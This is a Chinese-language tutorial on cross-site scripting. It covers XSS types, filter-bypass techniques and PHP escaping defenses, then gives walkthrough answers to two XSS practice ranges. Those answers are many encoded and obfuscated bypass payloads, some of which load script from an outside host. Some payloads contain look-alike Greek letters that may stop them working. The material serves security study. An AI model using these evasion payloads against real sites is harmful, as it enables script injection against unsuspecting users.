XXS技术

XXS简介与分类

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

下面是一些常见的XSS分类:

  • 反射性XSS
  • 存储型XSS
  • DOM型XSS

反射性XSS

攻击者事先准备好攻击请求,被攻击人去使用这个链接的时候就会触发XSS恶意代码。

存储型XSS

存储型XSS代码是存储在服务器内的,危害比较大。

DOM型XSS

跟存储型XSS类似,不过不同的是该类型能伪装成页面元素。

XSS的攻击与防御

一般我们在发现XSS插入点后,使用XSS平台辅助进行攻击。

XSS靶场

XSS平台_1
XSS平台_2

XSS绕过手法

无论哪一种XSS绕过方法,都需要试探出目标主要过滤了什么东西。

  • HTML实体编码绕过
  • HTML实体编码+URLENCODE编码绕过
  • NATIVE绕过
  • ``代替括号
  • <svg>与十六进制实体编码相结合
  • 换行绕过
  • 不闭合绕过
  • –!>闭合绕过
  • url特性引入自定义JS绕过
  • 双渲染绕过
  • on监听器绕过
  • js伪协议绕过
  • 双写绕过

CTF特训营中的XSS绕过手法

关键字过滤大部分时针对敏感变量或者函数而进行的,我们可以通过字符串拼接和编码解码等方式绕过。

字符串拼接与混淆

  • Javascript中的对象方法可以使用数组来进行调用
window['alert'](/xss/)

编码解码

  • HTML进制编码
  • CSS进制编码
  • Javascript进制编码
  • URL编码
  • JSFuck编码

过滤关键字

  • 过滤()
    在Javascript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对()的过滤。
window.onerror=alert; throw 1;
  • 过滤空格
    过滤空格可以使用/来代替空格绕过过滤,也可以使用0x09、0x10、0x12、0x0a、0x13等
<input/οnfοcus=alert(/xss/)>

XSS的防御手法

无论是反射型还是存储型我们都可以使用PHP函数htmlentities或者htmlspecialchars进行转义。如果是存储型XSS需要转义后,这两个函数有所不同:

  • htmlentities:会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。
  • htmlspecialchars:只转义&"'<>这几个代码。

XSS平台_1 · WP

  • 0x00
<script>alert(1)</script>
  • 0x01
</textarea><script>alert(1)</script>
  • 0x02
"><script>alert(1)</script>
  • 0x03
<script>alert`1`</script> <!-- 如果括号被过滤了我们可以使用``来代替括号 -->
  • 0x04
<svg><script>alert&#x28;1&#x29;</script> <!-- 该题过滤了``和()我们可以使用字符16进制实体编码来绕过 -->
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <!-- 该题过滤了``和()我们可以使用字符10进制实体编码来绕过,字符串可以直接使用十进制实体编码 -->
  • 0x05
--!><script>alert(1)</script><!-- <!-- 你会发现--!>也可以闭合注释 -->
  • 0x06
onclick
="alert(1)" <!-- 正则表达式只会匹配这一行,我们可以借此换行绕过 -->
  • 0x07
<img src="x" onerror="alert(1)" <!-- HTML容错率特别高,少输入一个>亦可以进行识别 -->
  • 0x08
</style
><!-- 这道题依旧是换行绕过 -->
<img src="x" onerror="alert(1)"
<style>
  • 0x09
https://www.segmentfault.com@507.cool/"></script><img src="x" onerror="alert(1)"> <!--
<!-- 这道题有两种解法,可以使用url的特性去引入自己的js,我这里没这样做,实战可以用 -->
  • 0x0A
http:s://www.segmentfault.com@xss.haozi.me/j.js <!-- 使用url来引入 -->
  • 0x0B
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <!-- html文字可以直接使用10进制实体编码,是用十六进制则需要<svg> -->
  • 0x0C
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
  • 0x0D
123')
alert(1);
--> <!-- html也可以注释掉一行的js代码 -->
  • 0x0E
<ſcript src="https://xss.haozi.me/j.js"></script>
  • 0x0F
');
alert(1)// <!-- 实体编码后依旧可以使用 -->
  • 0x10
</script>
<script>
  alert(1)
  • 0x11
");alert(1)//
  • 0x12
\");
alert(1);
--> // <!-- 利用\去闭合\"然后换行,注释掉后面内容,进行XSS弹窗 -->

XXS平台_2 · WP

  • 1
<script>alert(1)</script>
  • 2
keyword=test" > <script>alert(1)</script> -->
  • 3
keyword=' οnclick='alert(1)
  • 4
keyword=%22 οnclick="alert(1)
  • 5
keyword="><a href="javascript:alert(1)"> <!-- 使用Javascript协议也可以绕过,不一定非要使用on监听器 -->
  • 6
keyword=123"><SCRIPT>alert(1)</SCRipt> <!-- 黑命单过滤不严格,只过滤了小写,没过滤大写 -->
  • 7
keyword=123"><a hrhrefef=javascscriptript:alert(1)><img sRc=""
<!-- 这次过滤的挺严格,但是存在双写绕过 -->
  • 8
keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2334%3B%26%2349%3B%26%2334%3B%26%2341%3B
<!-- 过滤了值可以使用编码绕过 -->
  • 9
keyword=javascrip%26%23116%3B%3Aalert%281%29%2F%2Fhttp%3A%2F%2Fbaidu.com
<!-- 可以使用编码绕过,不过还需要进行一次urlencode -->
  • 10
keyword=<>&t_sort=" type="text" οnclick="alert(1)
<!-- 切换类型,让输入框显示出来,整个点击监听1 
-->
  • 11
<!-- 看到了是Referer,我们直接去找值 -->
123" type="text" οnclick="alert(1)
  • 12
<!-- 看到了是User-Agent,我们直接去找值 -->
123" type="text" οnclick="alert(1)
  • 13
<!-- 看到了是Cookie,我们直接去找值 -->
user=" type="text" οnclick="alert(1)"
  • 14

  • 15
src='http://106.14.75.106:82/level1.php?name=<img src=asd onerror=alert(1)>'
<!-- ng-include 用于包括外部HTML文件,所有的元素都支持该指令 -->
  • 16
keyword=<img%0asrc=asd%0aοnerrοr="alert(1)"

  • 17
arg01=%0aonmousedown&arg02='alert(1)'
  • 18
arg01=%0aonmousedown&arg02='alert(1)'